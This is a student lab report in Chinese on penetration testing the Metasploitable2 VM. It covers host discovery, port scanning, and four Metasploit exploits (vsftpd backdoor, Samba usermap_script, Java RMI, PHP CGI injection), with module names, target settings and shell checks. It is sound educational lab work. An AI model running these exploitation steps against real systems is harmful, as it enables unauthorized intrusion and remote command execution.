20222420 2024-2025-1 《网络与系统攻防技术》实验六实验报告
1.实验内容
(1)前期渗透
- ①主机发现(可用Aux中的arp_sweep,search一下就可以use)
- ②端口扫描:可以直接用nmap,也可以用Aux中的portscan/tcp等
- ③选做:也可以扫系统版本、漏洞等。
(2)Vsftpd源码包后门漏洞(21端口)
- 漏洞原理:在特定版本的vsftpd服务器程序中,被人恶意植入代码,当用户名以“ : ) ”为结尾,服务器就会在6200端口监听,并且能够执行任意代码。
(3)SambaMS-RPC Shell命令注入漏洞(端口139)
- 漏洞原理:Samba中负责在SAM数据库更新用户口令的代码未经过滤便将用户输入传输给了/bin/sh。如果在调用smb.conf中定义的外部脚本时,通过对/bin/sh的MS-RPC调用提交了恶意输入的话,就可能允许攻击者以nobody用户的权限执行任意命令。
(4)Java RMI SERVER命令执行漏洞(1099端口)
- 漏洞原理:Java RMI Server的RMI注册表和RMI激活服务的默认配置存在安全漏洞,可被利用导致代码执行。
(5)PHP CGI参数执行注入漏洞(80端口)
- 漏洞原理:CGI脚本没有正确处理请求参数,导致源代码泄露,允许远程攻击者在请求参数中插入执行命令。
2.实验过程
(1)前期渗透
①主机发现(可用Aux中的arp_sweep,search一下就可以use)
先search arp_sweep
找到模块,use 0
使用该模块,show options
查看可以设置的参数,set RHOSTS(或RHOST也行)
设置目标网段,run
运行。
由以下可知,该网段有5个开启的IP地址,其中192.168.150.144是靶机Metasploitable2的IP地址
②端口扫描:可以直接用nmap,也可以用Aux中的portscan/tcp等
先search portscan/tcp
找到模块,use 0
使用该模块,show options
查看可以设置的参数,set RHOST
设置目标主机,set THREADS 10
加快运行,run
运行。
由以下可知,在1-10000的端口范围内,该靶机有个26个开启的TCP端口
③选做:也可以扫系统版本、漏洞等。
nmap -O 192.168.150.144
命令扫描
(2)Vsftpd源码包后门漏洞(21端口)
- 漏洞原理:在特定版本的vsftpd服务器程序中,被人恶意植入代码,当用户名以“😃”为结尾,服务器就会在6200端口监听,并且能够执行任意代码。
- 利用步骤:
- 在kali中执行msfconsole 启动metasploit
- use exploit/unix/ftp/vsftpd_234_backdoor 选择漏洞
- set RHOST 192.168.150.144 设置要攻击的机器IP(靶机IP)
- exploit/run 开始攻击
- 利用成功
- sessions -i查看,sessions -i 1利用该session
- 执行uname –a、 pwd、 id、whoami等命令验证
(3)SambaMS-RPC Shell命令注入漏洞(端口139)
- 漏洞原理:Samba中负责在SAM数据库更新用户口令的代码未经过滤便将用户输入传输给了/bin/sh。如果在调用smb.conf中定义的外部脚本时,通过对/bin/sh的MS-RPC调用提交了恶意输入的话,就可能允许攻击者以nobody用户的权限执行任意命令。
- 利用步骤:
- use exploit/multi/samba/usermap_script 选择漏洞
- set RHOST ip 设置要攻击的机器IP
- exploit 开始攻击
- 利用成功 执行uname –a、 pwd、 id、whoami验证
(4)Java RMI SERVER命令执行漏洞(1099端口)
- 漏洞原理:Java RMI Server的RMI注册表和RMI激活服务的默认配置存在安全漏洞,可被利用导致代码执行。
- 操作步骤:
- 首先查看1099端口是否打开。
- 然后在MSF中:
- use exploit/multi/misc/java_rmi_server
- show options 查看配置参数
- set RHOST 192.168.150.144
- exploit/run
- shell (进入meterpreter时,使用uname –a、 pwd、 id、whoami验证下)
(5)PHP CGI参数执行注入漏洞(80端口)
- 漏洞原理:CGI脚本没有正确处理请求参数,导致源代码泄露,允许远程攻击者在请求参数中插入执行命令。
- 操作步骤:
- 在kali中执行msfconsole,启动metasploit
- msf > use exploit/multi/http/php_cgi_arg_injection 选择漏洞
- set RHOST ip 设置要攻击的机器IP
- exploit/run 开始攻击
- shell (进入meterpreter时,使用uname –a、 pwd、 id、whoami验证下)
- 执行uname –a、 pwd、 id、whoami验证
3.问题及解决方案
- 问题:利用Vsftpd源码包后门漏洞时,在输入sessions -i 1未显示shell应有的命令行提示符。
- 解决方案:本以为是出错了准备重做,但输入pwd等指令后有回应。原来这里不会显示命令行提示符。
4.学习感悟、思考等
本次实验中,从前期的主机发现、端口扫描,到针对特定漏洞的深入分析和利用,每一步都让我对网络安全有了更深入的理解和认识。
在前期渗透阶段,我学习了使用各种工具进行主机发现和端口扫描。arp_sweep和nmap等工具的使用让我能够快速发现目标主机并探测其开放的端口。这一过程不仅锻炼了我的实践能力,也让我对目标系统的网络拓扑和端口开放情况有了初步的了解。此外,我还掌握了各种渗透测试技术和工具的使用方法,深入理解了各种常见漏洞的原理和利用方式。这些经验和知识让我更加深刻地认识到了网络安全的重要性和复杂性。
参考资料
- 《Java程序设计与数据结构教程(第二版)》
- 《Java程序设计与数据结构教程(第二版)》学习指导